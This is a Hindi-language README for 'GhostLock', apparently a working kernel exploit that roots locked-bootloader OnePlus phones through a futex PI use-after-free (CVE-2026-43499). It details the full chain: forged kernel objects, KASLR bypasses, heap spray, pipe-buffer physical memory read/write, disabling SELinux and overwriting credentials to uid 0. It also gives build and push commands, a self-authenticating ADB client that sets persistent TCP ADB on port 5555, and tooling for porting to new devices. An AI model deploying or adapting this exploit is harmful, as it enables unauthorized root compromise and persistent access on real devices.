
(CVE-2026-43499)कर्नेल एक्सप्लॉइट प्रोग्राम, अनलॉक न किए गए बूटलोडर वाले OnePlus डिवाइसों के लिए उपयुक्त।
लॉक्ड-बूटलोडर OnePlus डिवाइसों को लक्षित करने वाला कर्नेल एक्सप्लॉइट। CVE-2026-43499 का उपयोग करके बूटलोडर को अनलॉक किए बिना या boot.img को संशोधित किए बिना रूट एक्सेस प्राप्त करता है।
केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।
| आइटम | विवरण |
|---|---|
| CVE | CVE-2026-43499 |
| प्रकार | Futex PI (Priority Inheritance) Use-After-Free |
| दायरा | Linux कर्नेल 2.6.39 ~ 7.1 |
| फिक्स हुआ | Mainline 7.1 (कमिट 3bfdc63936dd) |
| Android स्थिति | GKI 6.12.x अभी भी असुरक्षित |
pselect6 सिस्कॉल fd_set को कर्नेल स्टैक पर कॉपी करता है। जब इसे futex PI वेटर तंत्र के साथ जोड़ा जाता है, तो एक मुक्त स्टैक फ्रेम को rt_mutex_waiter स्ट्रक्चर के रूप में पुनः आवंटित किया जा सकता है। PI चेन ट्रैवर्सल के दौरान, rb-tree रीबैलेंसिंग नियंत्रित डेटा को मनमाने कर्नेल एड्रेसों पर लिखता है।
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
| डिवाइस | कोडनेम | SoC | कर्नेल | फ़र्मवेयर | स्थिति |
|---|---|---|---|---|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ सत्यापित |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ सत्यापित |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ सत्यापित |
समान SoC परिवार, Android 16, या कर्नेल 6.12.x वाले अन्य OnePlus डिवाइसों को boot.img ऑफ़सेट निष्कर्षण के माध्यम से अनुकूलित किया जा सकता है।
GhostLock विशेषाधिकार एस्केलेशन संभालता है। KernelSU इंस्टॉलेशन के लिए ksud आवश्यक है (KMI-विशिष्ट kernelsu.ko के साथ बंडल):
| स्रोत | नोट्स |
|---|---|
| ReSukiSU APK (अनुशंसित) | ReSukiSU इंस्टॉल करें; APK में libksud.so बंडल होता है |
| CI रिलीज़ | ReSukiSU CI से डाउनलोड करें (ksud-aarch64-linux-android.zip) |
ksud के बिना, एक्सप्लॉइट फिर भी uid=0 रूट शेल प्राप्त करता है, लेकिन KernelSU इंस्टॉल नहीं होगा और
suस्थायी नहीं रहेगा।
ANDROID_NDK_HOME या ANDROID_NDK_ROOT सेट करें# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — स्टैटिक रूप से लिंक्ड ARM64 ELF एक्ज़ीक्यूटेबल।
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
पहली सफलता के बाद,
resetpropस्वचालित रूप सेpersist.adb.tcp.port=5555सेट करता है, जिससे बाद के रीबूटों पर पूर्णतः स्वचालित रन संभव हो जाते हैं।
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop से ADB TCP 5555 सक्षम करें127.0.0.1:5555 से कनेक्ट होता है/data/local/tmp/a/e --write1
ऑफ़सेट src/devices/offsets.h लुकअप टेबल में संग्रहीत होते हैं, जो uname -r द्वारा कुंजीबद्ध होते हैं। प्रोग्राम स्टार्टअप पर स्वतः मैच करता है; अज्ञात कर्नेल अस्वीकार कर दिए जाते हैं।
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
| प्रकार | गिनती | निष्कर्षण |
|---|---|---|
| kallsyms ग्लोबल सिंबल | 28 | tools/extract_target.py |
| BTF स्ट्रक्चर फ़ील्ड | 57 | tools/extract_btf.py |
| व्युत्पन्न मान | 9 | स्वतः-गणना |
| निश्चित स्थिरांक | 12 | हार्डकोडेड |
| स्ट्रक्चर | फ़ील्ड | उद्देश्य |
|---|---|---|
task_struct | 17 | प्रोसेस डिस्क्रिप्टर, cred, seccomp |
rt_mutex_waiter | 6 | UAF फोर्ज लक्ष्य |
cred | 4 | क्रेडेंशियल, कैपेबिलिटीज़ |
seccomp | 3 | Seccomp फ़िल्टर स्थिति |
pipe_inode_info | 11 | पाइप बफर संचालन |
file_operations | 13 | नकली fops टेबल |
mm_struct | 1 | मेमोरी डिस्क्रिप्टर स्वामी |
जब कर्नेल पॉइंटर प्रतिबंधित हों (kptr_restrict), तो कर्नेल एड्रेस के साथ अधिलेखित boot_id के माध्यम से बेस एड्रेस लीक करें:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
जब ashmem डिवाइस सुलभ हो, तो ashmem fops टेबल से फ़ंक्शन पॉइंटर पढ़ने और KASLR ऑफ़सेट की गणना करने के लिए configfs रीड/राइट प्रिमिटिव का उपयोग करें।
ऑर्डर-3 (32KB) पेजों पर कर्नेल ऑब्जेक्ट फोर्ज करें:
file_operations — ashmem miscdevice fops पॉइंटर हाईजैक करेंrt_mutex_waiter — PI चेन वेटर नोड का अनुकरण करेंtask_struct — PI ट्रैवर्सल के दौरान टास्क संदर्भrt_mutex (लॉक) — सही वेटर/स्वामी जानकारीSKB (सॉकेट बफर) + KernelSnitch के माध्यम से कार्यान्वित:
mm_struct एड्रेस लीक करने के लिए futex हैश कोलिजनsendmsgKASLR बेस प्राप्त करने के बाद, फिजिकल-स्तरीय मेमोरी एक्सेस के लिए पाइप बफर का उपयोग करें:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
समर्थित: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
cred अधिलेखन के बाद कैपेबिलिटी रीडबैक सत्यापन किया जाता है।
src/core/miniadb.c — बूटस्ट्रैप मोड के लिए हल्का ADB प्रोटोकॉल क्लाइंट:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
SHA-1 और SHA-256 सिग्नेचर एल्गोरिदम का समर्थन करता है।
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
| मॉड्यूल | फ़ाइल(एँ) | ज़िम्मेदारी |
|---|---|---|
| एंट्री | main.c | CLI पार्सिंग, W1/W2 डिस्पैच, बूटस्ट्रैप फ्लो |
| PI रूट | fops.c / slide.c | pselect/select स्टैक लेआउट, futex PI चेन मैनिपुलेशन |
| KASLR | util.c / fops.c / slide.c | डुअल-मोड बायपास: boot_id लीक + fops टेबल लीक |
| हीप स्प्रे | util.c | ऑर्डर-3 पेज आवंटन, SKB स्प्रे, फोर्ज ऑब्जेक्ट लेआउट |
| फिज R/W | pipe.c | पाइप बफर हाईजैकिंग, मनमाना फिजिकल मेमोरी एक्सेस |
| प्रिव एस्क | root.c | cred अधिलेखन, कैपेबिलिटी सत्यापन, seccomp क्लियर |
| ADB | miniadb.c | हल्का ADB प्रोटोकॉल क्लाइंट, RSA प्रमाणीकरण |
| लीक इंजन | kernelsnitch/ | mm_struct स्थान के लिए futex हैश कोलिजन |
केवल लक्षित डिवाइस का boot.img आवश्यक है — कोई रूट या डिवाइस एक्सेस आवश्यक नहीं।
# 1. Extract kernel from boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Get kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Or from vmlinux: nm vmlinux > kallsyms.txt
# 3. Extract global symbol offsets
python tools/extract_target.py # 28 offsets, auto-verified
# 4. Extract struct field offsets
python tools/extract_btf.py kernel # 57 offsets, auto-verified
src/devices/<name>/offsets.h बनाएं (देखें ace6t/offsets.h)src/devices/offsets.h में #include करेंsrc/core/target.h के KIMAGE_TEXT_BASE और मेमोरी लेआउट को अपडेट करें| आइटम | नोट्स |
|---|---|
VA_BITS | 48 बनाम 39 → target.h मेमोरी लेआउट अपडेट करें |
| टाइमिंग | common.h में PSELECT_* पैरामीटर समायोजित करें |
| Ashmem | C बनाम Rust इम्प्लीमेंटेशन → extract_target.py सिंबल मैचिंग अपडेट करें |
| Secureguard | गैर-OnePlus डिवाइसों पर डिप्लॉयमेंट सरल हो सकता है |
सुनिश्चित करें कि आप ADB शेल में चला रहे हैं। ऐप संदर्भ के लिए --bootstrap आवश्यक है।
आपका कर्नेल संस्करण अभी तक समर्थित नहीं है। ऑफ़सेट निकालने और पुनः निर्माण करने के लिए नए डिवाइस जोड़ना का पालन करें।
CORE मैक्रो)PSELECT_ENTER_DELAY_USEC टाइमिंग समायोजित करेंperf_event_open को ब्लॉक करता है (ऐप संदर्भ में --bootstrap का उपयोग करें)kaslr_base मान्य है)ksud मौजूद है और एक्ज़ीक्यूटेबल हैload_policy फिक्स)केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।